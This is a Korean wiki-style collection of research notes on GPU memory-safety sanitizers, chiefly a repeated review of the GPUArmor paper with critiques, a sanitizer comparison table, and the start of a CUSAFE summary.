# Live allocation의 개수-즉 특정 시점에 동시에 접근 할 수 있는 allocation의 개수-는 병렬 처리의 특징으로 인해 큰 경향이 있다.
# Working set크기-즉 특정 시점에 반복적으로 접근하는 메모리의 크기-는 작은 경우가 대부분이다.

=== Ramification ===
위의 Observation결과에 따라 다음과 같은 GPU Sanitizer의 요구사항이 정해진다.
# Observation 1-2: 생각보다 memory instrumentation체크에 걸리는 시간이 CPU workload만큼 중요하지는 않다. 또한 stack allocation에 걸리는 시간이 길더라도 전체 실행시간에는 큰 영향을 주지 않는다.
# Observation 3-4: 메타데이트가 Memory크기에 따라서 Linear하게 증가하는 것 보다는 Per-allocation에 있는 것이 메모리를 더 절약할 수 있다.
# Observation 5: Live allocation의 개수를 모두 처리해야 하기 떄문에 Pointer-tagging과 같은 구조는 Metadata fetching에 있어서 불리하다.
# Observation 6: Workgin set의 개수가 작기 때문에 Per-SM hardware structure가 있으면 metadata cache allocation을 줄일 수 있다.

따라서, 아이디어는 GPU kernel이 동시에 접근할 수 있는 전체 live allocation 수는 많아도, 실제 실행 중 짧은 구간에서 반복적으로 접근하는 allocation working set은 작다는 관찰을 이용해 allocation metadata lookup을 작은 per-SM cache로 처리하는 것이다. 이렇게 하면 metadata table 자체는 direct-addressing table처럼 memory footprint에 비례해 커질 필요가 없고, linked list나 binary search tree처럼 compact한 per-allocation metadata structure를 쓸 수 있다.

== Design ==
=== Metadata design ===
; Allocation
: Allocation 생성 시 runtime wrapper가 base address, size, random tag를 metadata structure에 저장하고, tag를 pointer upper bits (VA의 57부터 64번쨰의 비트)에 넣은 tagged pointer를 application에 돌려준다. Metadata structure는 linked list, balanced binary search tree, hypothetical speed-of-light table처럼 여러 종류의 Metadata structure로 구현할 수 있다. Linked list와 binary tree는 allocation당 32 byte node를 사용하며, 그중 16 byte는 base/size/tag metadata이고 나머지는 pointer field이다.

; Deallocation
: Free 시에는 metadata entry를 즉시 제거하지 않고 tag를 reserved value로 바꾼다. 이 방식은 dangling pointer의 tag와 metadata tag가 mismatch되도록 만들어 immediate [[Use-after-free]]를 잡는다. 삭제 entry를 남기는 선택은 concurrent kernel이 metadata structure를 traverse 중일 수 있다는 GPU execution model에도 맞는다.

; Metadata checking
: Memory access가 발생하면, Input address가 base and size에 들어가는지를 메타데이터를 참고해서 Spatial safety bug를 판단하였다. 또한 Temporal safety를 방지하기 위해서 Pointer tag가 Metadata tag와 일치하는지를 체크하였다.

=== Hardware modifications ===
; ISA extension
: GPUArmor는 세 개의 instruction을 추가한다. `LOADMETA`는 compiler가 찾은 root pointer를 key로 metadata structure를 traverse하고 metadata location을 반환하며 MLB를 채운다. `MEMCHECK.G`는 global memory address와 metadata pointer를 받아 base/bounds/tag를 검사하고, check를 통과하면 upper tag bit를 clear한 address를 반환한다. `MEMCHECK.S`는 shared memory address에 대해 compile-time에 알 수 있는 base/size로 bounds check를 수행한다.

=== Metadata Loading Unit와 Metadata Lookaside Buffer ===
; Metadata Loading Unit
: MLU는 Load/Store Unit 근처에 위치하며, metadata structure traversal을 담당하는 FSM과 Metadata Lookaside Buffer(MLB)를 포함한다. LOADMETA에서는 MLB가 input address를 포함하는 allocation range를 찾으면 metadata location을 바로 반환하고, miss일 때만 FSM이 linked list 또는 binary tree를 traverse한다. MEMCHECK에서는 metadata location으로 MLB를 찾고, miss일 때 metadata를 cache hierarchy에서 가져온다. 논문이 사용하는 기본 설계는 per-SM 8-entry MLB이다. 각 entry는 16 byte metadata와 8 byte metadata location을 담는다. 이 구조가 충분한 이유는 평가 workload의 allocation working set이 8개 미만이기 때문이다.

=== Compiler/Runtime support ===
; Compiler pass
: Compiler pass는 ptxas backend에 구현되어 global/shared memory access 앞에 MEMCHECK를 넣고, object당 한 번 LOADMETA를 넣는다. Root pointer analysis는 cuCatch의 intra-procedural reaching-definition 기반 분석을 따르며, pointer arithmetic을 거슬러 올라가 object의 root pointer 또는 적어도 checked address와 다른 intermediate pointer를 찾는다. 이 방식은 memory access마다 metadata를 다시 load하지 않고 root pointer 단위로 metadata pointer를 propagate한다.

; Runtime support
: Runtime은 `cudaMalloc`, `cudaFree` 같은 CUDA global memory management API를 wrapper로 감싼다. Allocation 시 size/base/tag를 기록하고 tagged pointer를 반환하며, free 시 reserved tag로 metadata를 갱신한다. 논문은 allocation/free 수가 적기 때문에 runtime metadata management overhead는 negligible하다고 본다.

; Binary compatibility와 HWOnly mode
: GPUArmor는 non-zero tag가 붙은 pointer에만 metadata retrieval과 check를 수행하고, memory hierarchy에 request를 보내기 전 tag bit를 mask한다. 이는 ARM TBI, Intel LAM, AMD UAI와 유사한 upper-address-bit 무시 기능을 전제로 한다. Recompilation이 불가능한 third-party library에는 GPUArmor-HWOnly mode를 제안한다. 이 모드에서는 compiler instrumentation 없이 hardware가 모든 memory instruction에서 metadata를 fetch/check하며, coverage는 memory tagging과 유사하게 probabilistic해지지만 per-allocation metadata 덕분에 LAK 같은 per-granule tag storage보다 memory overhead가 작다.

== Evaluation ==
# MLB 없이 metadata structure만 비교하면 linked list는 평균 2x, 최대 22x overhead를 낸다. Binary search tree는 평균 10%, 최대 80% overhead로 줄지만 large allocation count workload에서는 여전히 traversal latency가 크다. Hypothetical speed-of-light table은 O(1) lookup으로 평균 1.4% overhead를 보인다.
# 8-entry MLB 효과: 8-entry MLB를 넣으면 metadata traversal 비용이 대부분 사라진다. Binary search tree + 8-entry MLB는 평균 약 2% 수준의 runtime overhead를 보이며, 논문 결론에서는 base-and-bounds coverage를 2.3% average slowdown으로 달성한다고 요약한다. Linked list도 8-entry MLB가 있으면 평균 7% 수준까지 내려가며, SoL table은 약 1% 수준이다. 이 결과는 MLB가 underlying metadata structure의 asymptotic lookup cost를 대부분 capacity-hit case에서 지운다는 주장과 연결된다.
# MLB ize sensitivity: MLB entry 수를 0, 1, 2, 4, 8, 16으로 바꿔 평가했을 때 overhead는 8-entry 이후 거의 saturate된다. 이는 characterization에서 관찰한 "allocation working set < 8"과 직접 대응한다.
# Shared memory protection: Shared memory protection은 metadata load가 필요 없고 bounds-check compute logic만 추가하므로 전체 workload에서 overhead가 0.1% 미만이다.
# Related work와의 비교: cuCatch와 같은 safety guarantee를 비교했을 때, cuCatch는 평균 29% runtime overhead와 12.5% metadata storage overhead를 보인다. GPUArmor는 binary search tree + 8-entry MLB에서 약 2% runtime overhead와 0.0005% storage overhead를 보고한다. AMG_3 사례에서는 GPUArmor가 instruction bloat를 2x 줄이고 register pressure를 1.7x 줄여 baseline과 유사한 SM occupancy를 유지한다고 설명한다.
# Hardware cost: 16-entry MLB는 entry당 24 byte로 약 384 byte per SM이다. 7nm SRAM/comparator/priority logic 구현 가정에서 L1 cache 대비 area overhead는 약 0.2%, per-access energy는 약 5%이다. MLB lookup은 global memory instruction에만 적용되고 이들이 전체 instruction의 약 6%이므로 total GPU power impact는 0.0006% 미만으로 추정된다.

== Contribution ==
# Real-world GPU workload의 memory access, allocation size, live allocation count, allocation working set을 memory-safety 관점에서 정량화하였다.
# Direct-addressing metadata table이 GPU memory safety의 필수 조건이 아니라는 점을 보이고, 작은 per-SM MLB가 metadata lookup cost를 대부분 제거할 수 있음을 제안하였다.
# LOADMETA, MEMCHECK.G, MEMCHECK.S instruction과 MLU/MLB hardware, CUDA runtime wrapper, ptxas compiler instrumentation을 결합한 GPUArmor hardware-software co-design을 제시하였다.
# Base-and-bounds checking에서 평균 2.3% 수준 slowdown과 0.0005% storage overhead를 보이며, cuCatch 대비 runtime/storage overhead를 크게 낮출 수 있음을 평가하였다.
# Compiler support가 없는 GPUArmor-HWOnly mode를 통해 memory tagging 수준의 probabilistic safety를 낮은 overhead와 per-allocation metadata storage로 제공할 수 있음을 보였다.

== Criticisms ==
=== Major Comments ===
# Writing quality측면에서 개선될 방향이 존재한다. 예를 들어서 Observations들은 잘 정리되어 있고 휼룡하지만, 서술하는 방식이 개조식으로 서술되어 있었으면 좀더 이해하기 쉬웠을 듯 하다. 예를 들어서 Instruction behavior에 top sentence로 GPU workloads access shared memory much more frequently than global memory compared to CPU-centric workloads. 이런식이였으면 좀더 이해하기 쉬웠을 듯 하다.
# Writing quality측면 2: GPUArmor uses a pointer’s value (rather than the pointer’s location in memory [19, 24]) as a key to search the metadata structure. 이문장은 배경지식이 부족하면 이해하기 힘들듯. Location-based라는 말을 위에서 설명한적이 없기 때문에 pointer의 value는 *ptr의 값을 의미하는 것처럼 느껴질 수 도 있을듯.
# 보통 있는 Pointer scheme에 대한 그림이 없음. Pointer가 어떻게 Tagging되고 있는지 그림이 있으면 좋을 것 같다는 생각이 든다.

=== Minor Comments ===
# 평가 workload가 NVIDIA 내부 product group kernel 중심이고, simulator와 수정된 ptxas/NVAS에 의존한다. 논문의 artifact나 workload 접근성이 제한된다면 재현성은 약할 수 있다.
# Root pointer analysis는 intra-procedural이다. CUDA compiler의 aggressive inlining이 도움을 주지만, inter-procedural pointer flow나 복잡한 aliasing에서는 deterministic base-and-bounds coverage가 memory-tagging 수준으로 내려간다.
# HMM/UVM 지원은 discussion 수준이다. HMM에서는 GPU kernel이 `malloc`/`new` host allocation에 접근할 수 있어 allocation universe가 급격히 커지고, CPU allocation metadata와 GPU check를 어떻게 consistency 있게 연결할지가 아직 prototype에 들어가 있지 않다.
# Pointer tag를 host와 공유하려면 CPU host가 TBI/LAM/UAI 같은 upper-address-ignore 기능을 지원해야 한다. 그렇지 않으면 HMM/UVM allocation에 대해서는 temporal-safety coverage를 잃을 수 있다.
# Concurrent metadata update 문제는 완전히 해결되지 않았다. Running kernel이 metadata structure를 traverse하는 동안 `cudaFree`나 HMM allocation update가 일어나는 경우 lock-free structure, atomic synchronization, persistent data structure 같은 추가 설계가 필요하다.
# Threat model은 device-side memory safety bug와 reliable GPU hardware를 가정하고 side/covert channel은 제외한다. 따라서 GPU isolation attack 전체에 대한 방어로 해석하면 안 된다.
# Runtime wrapper overhead는 memory management API 자체에 비해 negligible하다고 보고 simulation overhead에 포함하지 않는다. Allocation-intensive workload에서는 이 가정이 별도 검증을 요구할 수 있다.

== Conclusion ==
이 연구는 GPU memory safety의 비용을 direct-addressing metadata table의 O(1) lookup 문제로만 보지 않고, GPU workload의 small allocation working set과 latency tolerance를 활용하는 metadata-cache 문제로 제시하였다.. GPUArmor는 compiler root pointer analysis, CUDA runtime metadata management, LOADMETA/MEMCHECK ISA, 그리고 작은 per-SM MLB를 결합해 scalable base-and-bounds checking을 평균 2.3% slowdown과 매우 작은 storage overhead로 달성할 수 있음을 보였다.

[[분류: ACM TACO]]

GPUArmor: A Hardware-Software Co-design for Efficient and Scalable Memory Safety on GPUs

2026-07-08T08:45:23Z

Ahn9807:

{{Paper
|title=GPUArmor: A Hardware-Software Co-design for Efficient and Scalable Memory Safety on GPUs
|author=Mohamed Tarek Ibn Ziad, Sana Damani, Mark Stephenson, Stephen W. Keckler, Aamer Jaleel
|conference=ACM TACO
|year=2025
}}

== 개요 ==
이 논문은 [[GPU]]에서 [[Memory safety]] 검사를 할 때 metadata lookup을 빠르게 만들기 위해 큰 direct-addressing table을 써야 한다는 가정을, GPU workload의 allocation working set이 작다는 관찰을 통해서 작은 hardware metadata cache로 해결하였다.

== Motivation ==
기존 CPU sanitizer 방식의 핵심 비용은 runtime metadata lookup이다. [[AddressSanitizer]]는 8 byte application memory마다 1 byte shadow memory를 두어 O(1) lookup을 얻지만 12.5% memory bloat를 낸다. GPU 쪽에서도 [[GPUShield]]와 [[cuCatch]]가 direct-addressing table류의 구조를 사용하지만, GPUShield는 57-bit address space에서 upper pointer bit를 index로 쓰는 설계 때문에 128 live allocation 수준에서 scalability 한계가 있고 temporal safety도 약하다. cuCatch는 더 scalable하지만 12.5% metadata storage overhead와 non-trivial runtime overhead가 남는다.

GPUArmor의 출발점은 GPU에서는 CPU와 같은 cost model이 성립하지 않을 수 있다는 점이다. 논문은 real-world GPU kernel 28개를 분석하여 global memory access가 전체 dynamic instruction의 평균 6% 정도이고, shared memory도 평균 6% 정도이며, local memory access는 관측되지 않았다고 보고한다. GPU는 warp scheduling으로 long-latency memory operation을 숨기는 데 강하고, allocation size는 대체로 크지만 active allocation working set은 작다. 따라서 metadata lookup을 매 access마다 절대적으로 O(1)로 만들기보다, 작은 cache로 대부분의 lookup을 처리하고 compact metadata structure를 쓰는 쪽이 GPU에 더 맞을 수 있다.

== Main Idea ==
=== Observations ===
본 연구는 다음과 같은 특징을 고려해야 효율적인 Sanitizer를 디자인 할 수 있다고 주장한다.
# GPU의 메모리 접근은 CPU보다 Pressure가 낮으며, Local memory (stack 할당)은 거의 없는 수준이다. 또한 Global memory access가 Shared memory access보다 작다.
# GPU의 워크로드들은 대부분 병령 처리 되기 떄문에 Memory access checking의 Latency가 크더라도 Hiding된다.
# GPU의 메모리 크기는 보통 CPU보다 작다. (HMM은 제외하였을 경우)
# GPU의 Allocation size는 대부분 크다. 예를 들어서 CUDA Memory allocation은 적어도 256B의 정렬을 요구한다.
# Live allocation의 개수-즉 특정 시점에 동시에 접근 할 수 있는 allocation의 개수-는 병렬 처리의 특징으로 인해 CPU workload보다 크다.
# Working set크기-즉 특정 시점에 반복적으로 접근하는 메모리의 크기-는 작은 경우가 대부분이다.

=== Ramification ===
위의 Observation결과에 따라 다음과 같은 GPU Sanitizer의 요구사항이 정해진다.
# Observation 1-2: 생각보다 memory instrumentation체크에 걸리는 시간이 CPU workload만큼 중요하지는 않다. 또한 stack allocation에 걸리는 시간이 길더라도 전체 실행시간에는 큰 영향을 주지 않는다.
# Ober

핵심 아이디어는 GPU kernel이 동시에 접근할 수 있는 전체 live allocation 수는 많아도, 실제 실행 중 짧은 구간에서 반복적으로 접근하는 allocation working set은 작다는 관찰을 이용해 allocation metadata lookup을 작은 per-SM cache로 처리하는 것이다. 이렇게 하면 metadata table 자체는 direct-addressing table처럼 memory footprint에 비례해 커질 필요가 없고, linked list나 binary search tree처럼 compact한 per-allocation metadata structure를 쓸 수 있다.

GPUArmor는 allocation마다 base, size, tag를 별도 metadata structure에 저장한다. Compiler는 memory access의 root pointer를 찾아 LOADMETA를 삽입하고, 실제 global/shared memory access 앞에는 MEMCHECK를 삽입한다. Hardware는 LOADMETA/MEMCHECK를 처리하면서 Metadata Loading Unit과 Metadata Lookaside Buffer를 통해 최근 allocation metadata를 재사용한다.

이 설계의 관점에서 metadata lookup latency는 모든 memory access의 critical bottleneck이 아니라 compulsory miss에 주로 남는 비용이 된다. 따라서 GPUArmor는 [[Base and bounds]] checking과 [[Memory tagging]]의 장점을 결합하면서도 cuCatch식 direct metadata table의 12.5% storage overhead를 피한다.

== Design ==

# Workload characterization 기반 설계
#: GPUArmor는 28개 CUDA kernel을 분석해 memory-safety design에 필요한 여섯 가지 관찰을 만든다. Global/shared memory access는 CPU workload보다 적고, local memory는 거의 쓰이지 않으며, GPU는 long-latency memory operation을 hide할 수 있다. 반면 GPU memory capacity는 제한적이므로 memory footprint에 비례하는 metadata는 부담이 된다. Allocation size는 대체로 크므로 per-allocation constant metadata는 상대적으로 싸고, live allocation 수는 1000개를 넘을 수 있지만 active allocation working set은 모든 평가 workload에서 8개 미만이다.

# Metadata lifecycle
#: Allocation 생성 시 runtime wrapper가 base address, size, random tag를 metadata structure에 저장하고, tag를 pointer upper bits에 넣은 tagged pointer를 application에 돌려준다. Metadata structure는 linked list, balanced binary search tree, hypothetical speed-of-light table을 평가한다. Linked list와 binary tree는 allocation당 32 byte node를 사용하며, 그중 16 byte는 base/size/tag metadata이고 나머지는 pointer field이다.
#: Free 시에는 metadata entry를 즉시 제거하지 않고 tag를 reserved value로 바꾼다. 이 방식은 dangling pointer의 tag와 metadata tag가 mismatch되도록 만들어 immediate [[Use-after-free]]를 잡는다. 삭제 entry를 남기는 선택은 concurrent kernel이 metadata structure를 traverse 중일 수 있다는 GPU execution model에도 맞는다.

# ISA extension
#: GPUArmor는 세 개의 instruction을 추가한다. `LOADMETA`는 compiler가 찾은 root pointer를 key로 metadata structure를 traverse하고 metadata location을 반환하며 MLB를 채운다. `MEMCHECK.G`는 global memory address와 metadata pointer를 받아 base/bounds/tag를 검사하고, check를 통과하면 upper tag bit를 clear한 address를 반환한다. `MEMCHECK.S`는 shared memory address에 대해 compile-time에 알 수 있는 base/size로 bounds check를 수행한다.

# Metadata Loading Unit와 Metadata Lookaside Buffer
#: Metadata Loading Unit(MLU)은 Load/Store Unit 근처에 위치하며, metadata structure traversal을 담당하는 FSM과 Metadata Lookaside Buffer(MLB)를 포함한다. LOADMETA에서는 MLB가 input address를 포함하는 allocation range를 찾으면 metadata location을 바로 반환하고, miss일 때만 FSM이 linked list 또는 binary tree를 traverse한다. MEMCHECK에서는 metadata location으로 MLB를 찾고, miss일 때 metadata를 cache hierarchy에서 가져온다.
#: 논문이 사용하는 기본 설계는 per-SM 8-entry MLB이다. 각 entry는 16 byte metadata와 8 byte metadata location을 담는다. 이 구조가 충분한 이유는 평가 workload의 allocation working set이 8개 미만이기 때문이다.

# Compiler support
#: Compiler pass는 ptxas backend에 구현되어 global/shared memory access 앞에 MEMCHECK를 넣고, object당 한 번 LOADMETA를 넣는다. Root pointer analysis는 cuCatch의 intra-procedural reaching-definition 기반 분석을 따르며, pointer arithmetic을 거슬러 올라가 object의 root pointer 또는 적어도 checked address와 다른 intermediate pointer를 찾는다. 이 방식은 memory access마다 metadata를 다시 load하지 않고 root pointer 단위로 metadata pointer를 propagate한다.

# Runtime support
#: Runtime은 `cudaMalloc`, `cudaFree` 같은 CUDA global memory management API를 wrapper로 감싼다. Allocation 시 size/base/tag를 기록하고 tagged pointer를 반환하며, free 시 reserved tag로 metadata를 갱신한다. 논문은 allocation/free 수가 적기 때문에 runtime metadata management overhead는 negligible하다고 본다.

# Binary compatibility와 HWOnly mode
#: GPUArmor는 non-zero tag가 붙은 pointer에만 metadata retrieval과 check를 수행하고, memory hierarchy에 request를 보내기 전 tag bit를 mask한다. 이는 ARM TBI, Intel LAM, AMD UAI와 유사한 upper-address-bit 무시 기능을 전제로 한다.
#: Recompilation이 불가능한 third-party library에는 GPUArmor-HWOnly mode를 제안한다. 이 모드에서는 compiler instrumentation 없이 hardware가 모든 memory instruction에서 metadata를 fetch/check하며, coverage는 memory tagging과 유사하게 probabilistic해지지만 per-allocation metadata 덕분에 LAK 같은 per-granule tag storage보다 memory overhead가 작다.

== Result ==

평가는 NVIDIA GA100에서 trace를 수집하고 NVIDIA Architectural Simulator(NVAS)로 GA100을 simulation하여 수행한다. 주요 workload는 NVIDIA 내부 product group이 architecture design에 사용하는 28개 real-world CUDA kernel이며, scientific computing, commercial 5G decoding, visualization workload를 포함한다.

# Metadata structure 단독 비용
#: MLB 없이 metadata structure만 비교하면 linked list는 평균 2x, 최대 22x overhead를 낸다. Binary search tree는 평균 10%, 최대 80% overhead로 줄지만 large allocation count workload에서는 여전히 traversal latency가 크다. Hypothetical speed-of-light table은 O(1) lookup으로 평균 1.4% overhead를 보인다.

# 8-entry MLB 효과
#: 8-entry MLB를 넣으면 metadata traversal 비용이 대부분 사라진다. Binary search tree + 8-entry MLB는 평균 약 2% 수준의 runtime overhead를 보이며, 논문 결론에서는 base-and-bounds coverage를 2.3% average slowdown으로 달성한다고 요약한다. Linked list도 8-entry MLB가 있으면 평균 7% 수준까지 내려가며, SoL table은 약 1% 수준이다. 이 결과는 MLB가 underlying metadata structure의 asymptotic lookup cost를 대부분 capacity-hit case에서 지운다는 주장과 연결된다.

# MLB size sensitivity
#: MLB entry 수를 0, 1, 2, 4, 8, 16으로 바꿔 평가했을 때 overhead는 8-entry 이후 거의 saturate된다. 이는 characterization에서 관찰한 "allocation working set < 8"과 직접 대응한다.

# Shared memory protection
#: Shared memory protection은 metadata load가 필요 없고 bounds-check compute logic만 추가하므로 전체 workload에서 overhead가 0.1% 미만이다.

# Security coverage
#: GPUArmor는 adjacent OOB와 intra-procedural root pointer analysis 범위 안의 non-adjacent OOB를 100% 검출한다고 보고한다. Inter-scope OOB와 delayed UAF는 57-bit architecture에서 usable tag 126개를 가정할 때 99.2% probabilistic detection으로 처리된다. Immediate UAF는 free 시 reserved tag를 쓰기 때문에 100%로 보고된다. Root pointer analysis coverage는 MEMCHECK.G 기준으로 55.5%가 full base-and-bounds, 36%가 partial base-and-bounds, 8.5%가 memory-tagging 수준으로 분류된다.

# GPUArmor-HWOnly
#: Recompilation이 없는 HWOnly mode는 8-entry MLB와 binary tree metadata에서 평균 2.2% overhead를 보이며, LAK의 10%보다 낮다. 최대 overhead도 GPUArmor-HWOnly 18.1%, LAK 42.1%로 차이가 난다. Storage overhead는 GPUArmor-HWOnly가 total memory footprint 대비 0.001% 미만이고, LAK는 3.25%로 보고된다. 더 넓은 conventional workload set에서는 8-entry MLB가 평균 6%, 16-entry MLB가 평균 4% 미만 overhead를 보인다.

# Related work와의 비교
#: cuCatch와 같은 safety guarantee를 비교했을 때, cuCatch는 평균 29% runtime overhead와 12.5% metadata storage overhead를 보인다. GPUArmor는 binary search tree + 8-entry MLB에서 약 2% runtime overhead와 0.0005% storage overhead를 보고한다. AMG_3 사례에서는 GPUArmor가 instruction bloat를 2x 줄이고 register pressure를 1.7x 줄여 baseline과 유사한 SM occupancy를 유지한다고 설명한다.

# Hardware cost
#: 16-entry MLB는 entry당 24 byte로 약 384 byte per SM이다. 7nm SRAM/comparator/priority logic 구현 가정에서 L1 cache 대비 area overhead는 약 0.2%, per-access energy는 약 5%이다. MLB lookup은 global memory instruction에만 적용되고 이들이 전체 instruction의 약 6%이므로 total GPU power impact는 0.0006% 미만으로 추정된다.

== Contribution ==

# Real-world GPU workload의 memory access, allocation size, live allocation count, allocation working set을 memory-safety 관점에서 정량화하였다.
# Direct-addressing metadata table이 GPU memory safety의 필수 조건이 아니라는 점을 보이고, 작은 per-SM MLB가 metadata lookup cost를 대부분 제거할 수 있음을 제안하였다.
# LOADMETA, MEMCHECK.G, MEMCHECK.S instruction과 MLU/MLB hardware, CUDA runtime wrapper, ptxas compiler instrumentation을 결합한 GPUArmor hardware-software co-design을 제시하였다.
# Base-and-bounds checking에서 평균 2.3% 수준 slowdown과 0.0005% storage overhead를 보이며, cuCatch 대비 runtime/storage overhead를 크게 낮출 수 있음을 평가하였다.
# Compiler support가 없는 GPUArmor-HWOnly mode를 통해 memory tagging 수준의 probabilistic safety를 낮은 overhead와 per-allocation metadata storage로 제공할 수 있음을 보였다.

== Criticisms ==
=== Major Comments ===
# Writing quality측면에서 개선될 방향이 존재한다. 예를 들어서 Observations들은 잘 정리되어 있고 휼룡하지만, 서술하는 방식이 개조식으로 서술되어 있었으면 좀더 이해하기 쉬웠을 듯 하다. 예를 들어서 Instruction behavior에 top sentence로 GPU workloads access shared memory much more frequently than global memory compared to CPU-centric workloads. 이런식이였으면 좀더 이해하기 쉬웠을 듯 하다.

=== Minor Comments ===
# 평가 workload가 NVIDIA 내부 product group kernel 중심이고, simulator와 수정된 ptxas/NVAS에 의존한다. 논문의 artifact나 workload 접근성이 제한된다면 재현성은 약할 수 있다.
# GPUArmor의 주 coverage는 CUDA memory management API로 생성된 allocation이다. Custom allocator가 큰 allocation을 내부에서 slice하는 경우나 struct/class 내부 field 사이의 sub-object OOB는 잡지 못한다.
# Root pointer analysis는 intra-procedural이다. CUDA compiler의 aggressive inlining이 도움을 주지만, inter-procedural pointer flow나 복잡한 aliasing에서는 deterministic base-and-bounds coverage가 memory-tagging 수준으로 내려간다.
# HMM/UVM 지원은 discussion 수준이다. HMM에서는 GPU kernel이 `malloc`/`new` host allocation에 접근할 수 있어 allocation universe가 급격히 커지고, CPU allocation metadata와 GPU check를 어떻게 consistency 있게 연결할지가 아직 prototype에 들어가 있지 않다.
# Pointer tag를 host와 공유하려면 CPU host가 TBI/LAM/UAI 같은 upper-address-ignore 기능을 지원해야 한다. 그렇지 않으면 HMM/UVM allocation에 대해서는 temporal-safety coverage를 잃을 수 있다.
# Concurrent metadata update 문제는 완전히 해결되지 않았다. Running kernel이 metadata structure를 traverse하는 동안 `cudaFree`나 HMM allocation update가 일어나는 경우 lock-free structure, atomic synchronization, persistent data structure 같은 추가 설계가 필요하다.
# Threat model은 device-side memory safety bug와 reliable GPU hardware를 가정하고 side/covert channel은 제외한다. 따라서 GPU isolation attack 전체에 대한 방어로 해석하면 안 된다.
# Runtime wrapper overhead는 memory management API 자체에 비해 negligible하다고 보고 simulation overhead에 포함하지 않는다. Allocation-intensive workload에서는 이 가정이 별도 검증을 요구할 수 있다.

== Conclusion ==

이 연구는 GPU memory safety의 비용을 direct-addressing metadata table의 O(1) lookup 문제로만 보지 않고, GPU workload의 small allocation working set과 latency tolerance를 활용하는 metadata-cache 문제로 바라보게 만든다. GPUArmor는 compiler root pointer analysis, CUDA runtime metadata management, LOADMETA/MEMCHECK ISA, 그리고 작은 per-SM MLB를 결합해 scalable base-and-bounds checking을 평균 2.3% slowdown과 매우 작은 storage overhead로 달성할 수 있음을 보였다.

따라서 이 논문은 [[GPU memory safety]], [[CUDA sanitizer]], [[Memory tagging]], [[Base and bounds]] 관련 연구에서 "metadata lookup latency와 metadata storage overhead를 어떻게 동시에 줄일 것인가"를 설명하는 중요한 related-work 지점이다. 특히 HMM/UVM 환경으로 넘어갈 때 GPU-visible object metadata를 CPU/GPU 양쪽에서 어떻게 관리할 것인지에 대한 후속 연구 질문을 남긴다.

[[분류: ACM TACO]]

GPU Sanitizer

2026-07-08T03:03:02Z

Ahn9807:

[[index.php?title=분류:GPU 보안]]

== 개요 ==
본 문서는 여러 GPU Sanitizer들을 다축분석하는 문서이다.

== 요약 ==
{| class="wikitable"
|+
! rowspan="2" |
! rowspan="2" |UAF
! rowspan="2" |OOB
! rowspan="2" |Mechanism
! colspan="2" |Metadata identity
! colspan="2" |Overhead
! colspan="4" |Compiler Optimizations
! colspan="4" |Runtime Optimizations
|-
!Identity
!Cost
!Perf
!Mem
!Common
!Local
!Shared
!Global
!Common
!Local
!Shared
!Global
|-
|Compute Sanitizer
|O
|O
|Binary
|Location
|
|
|
|
| colspan="7" | -
|-
|GMOD
|O
|O
|Compiler
|Canary
|
|
|
|
| colspan="7" | -
|-
|CLARMOR
|O
|O
|Compiler
|Canary
|
|
|
|
|
|
|
|
|
|
|
|-
|GPUShield
|O
|O
|Compiler + HW
|HW Tag
|
|
|
|
|
|
|
|
|
|
|
|-
|CuCatch
|O
|O
|Compiler
|Object
|
|
|
|Metdata hoisting, min/max merging, Loop hoisting, Bound merging
|
|Infer base pointer statically
|
|
|Per-thread Metdata
|Remove metdata fetching
|
|-
|CuSafe
|O
|O
|Compiler
|Object
|
|
|
|
|
|
|
|
|
|
|
|-
|GPU Armor
|O
|O
|Compiler + HW
|
|
|
|
|
|
|
|
|
|
|
|
|}

== [[CuCatch: A Debugging Tool for Efficiently Catching Memory Safety Violations in CUDA Applications|CuCatch]] ==

GPU Sanitizer

2026-07-08T02:57:44Z

Ahn9807: 새 문서: index.php?title=분류:GPU 보안 == 개요 == 본 문서는 여러 GPU Sanitizer들을 다축분석하는 문서이다. == 요약 == {| class="wikitable" |+ ! rowspan="2" | ! rowspan="2" |Detection coverage ! rowspan="2" |Instrumentation ! rowspan="2" |Metadata identity ! colspan="4" |Compiler Optimizations ! colspan="4" |Runtime Optimizations |- !Common !Local !Shared !Global !Common !Local !Shared !Global |- |Compute Sanitizer |GPU UAF/OOB |Binary |Location-based (Redzo...

[[index.php?title=분류:GPU 보안]]

== 개요 ==
본 문서는 여러 GPU Sanitizer들을 다축분석하는 문서이다.

== 요약 ==
{| class="wikitable"
|+
! rowspan="2" |
! rowspan="2" |Detection
coverage
! rowspan="2" |Instrumentation
! rowspan="2" |Metadata identity
! colspan="4" |Compiler Optimizations
! colspan="4" |Runtime Optimizations
|-
!Common
!Local
!Shared
!Global
!Common
!Local
!Shared
!Global
|-
|Compute Sanitizer
|GPU UAF/OOB
|Binary
|Location-based (Redzone)
|
| colspan="7" | -
|-
|GMOD
|Global UAF/OOB
|Compiler
|Location-based (Canary)
|
| colspan="7" | -
|-
|CLARMOR
|GPU UAF/OOB
|Compiler
|Location-based (Canary)
|
|
|
|
|
|
|
|
|-
|GPUShield
|GPU UAF/OOB
|Compiler + HW
|Tag-based
|
|
|
|
|
|
|
|
|-
|CuCatch
|GPU UAF/OOB
|Compiler
|Object-identity (Pointer tagging)
|Metdata hoisting, min/max merging, Loop hoisting, Bound merging
|
|Infer base pointer statically
|
|
|Per-thread Metdata
|Remove metdata fetching
|
|-
|CuSafe
|GPU UAF/OOB
|Compiler
|Object-Identity (Pointer tagging)
|
|
|
|
|
|
|
|
|-
|GPU Armor
|GPU UAF/OOB
|Compiler + HW
|
|
|
|
|
|
|
|
|
|}

== [[CuCatch: A Debugging Tool for Efficiently Catching Memory Safety Violations in CUDA Applications|CuCatch]] ==

CUSAFE: Capturing Memory Corruption on NVIDIA GPUs

2026-07-08T02:46:49Z

Ahn9807:

{{Paper
|title=CUSAFE: Capturing Memory Corruption on NVIDIA GPUs
|author=Hongyi Lu, Fengwei Zhang, Zhenkai Zhang, Shuai Wang, Yanan Guo
|conference=USENIX Security Symposium
|year=2026
}}

== 개요 ==
이 논문은 [[NVIDIA GPU]]에서 [[Memory corruption]]을 실용적으로 잡기 어려운 이유가 무엇이며, [[Pointer tagging]]과 in-band bounds metadata를 결합한 [[CUDA]] sanitizer로 이를 어떻게 해결할 수 있는지를 다룬다.

== Motivation ==
CUDA와 OpenACC 생태계는 여전히 C/C++ 기반의 memory-unsafe programming model에 크게 의존한다. 따라서 CPU 프로그램에서 오래 문제가 되었던 out-of-bounds access, use-after-free, double free 같은 메모리 오류가 GPU 프로그램에서도 직접적인 안정성/보안 문제가 된다.

